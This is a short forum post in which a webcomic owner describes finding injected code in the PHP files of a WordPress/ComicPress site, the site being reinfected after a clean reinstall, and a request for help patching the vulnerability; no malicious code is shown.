I’ve been hacked twice in 2 days

Yesterday I was told by my readers that they were getting malware warnings on my webcomic site. At the suggestion of some more technologically advanced friends, I checked my PHP files, and found several suspicious injected code:

I cleaned out my entire site, installed the newest wordpress and comicpress, and the security warnings were gone.

This morning, I’ve had reports of malware again. I need to know what I can do to actuall patch whatever the vulnerability is here, because there’s no point in redoing my site every day.
